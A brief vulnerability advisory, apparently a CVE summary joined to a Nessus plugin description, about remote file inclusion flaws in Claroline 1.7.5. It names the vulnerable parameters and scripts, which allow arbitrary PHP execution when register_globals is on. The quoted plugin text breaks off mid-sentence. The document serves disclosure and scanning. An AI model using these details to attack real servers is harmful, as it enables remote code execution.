Summary

Multiple PHP remote file inclusion vulnerabilities in Claroline 1.7.5 allow remote attackers to execute arbitrary PHP code via a URL in the (1) clarolineRepositorySys parameter in ldap.inc.php and the (2) claro_CasLibPath parameter in casProcess.inc.php. Successful exploitation requires that "register_globals" is enabled.

"The remote host is running Claroline, an open source, web-based,

The version of Claroline installed on the remote host fails to
sanitize input to the 'clarolineRepositorySys' parameter of the
'claroline/auth/extauth/drivers/ldap.inc.php' script before using it
to include files with PHP code.  Provided PHP's 'register_globals'
setting is enabled, an unauthenticated attacker may be able to exploit
this issue to view arbitrary files on the remote host or to execute
arbitrary PHP code, possibly taken from third-party hosts. 

Note that there are reportedly several other parameters and scripts
affected by remote file includes in the same version of Claroline,
although Nessus has not tested for these." );
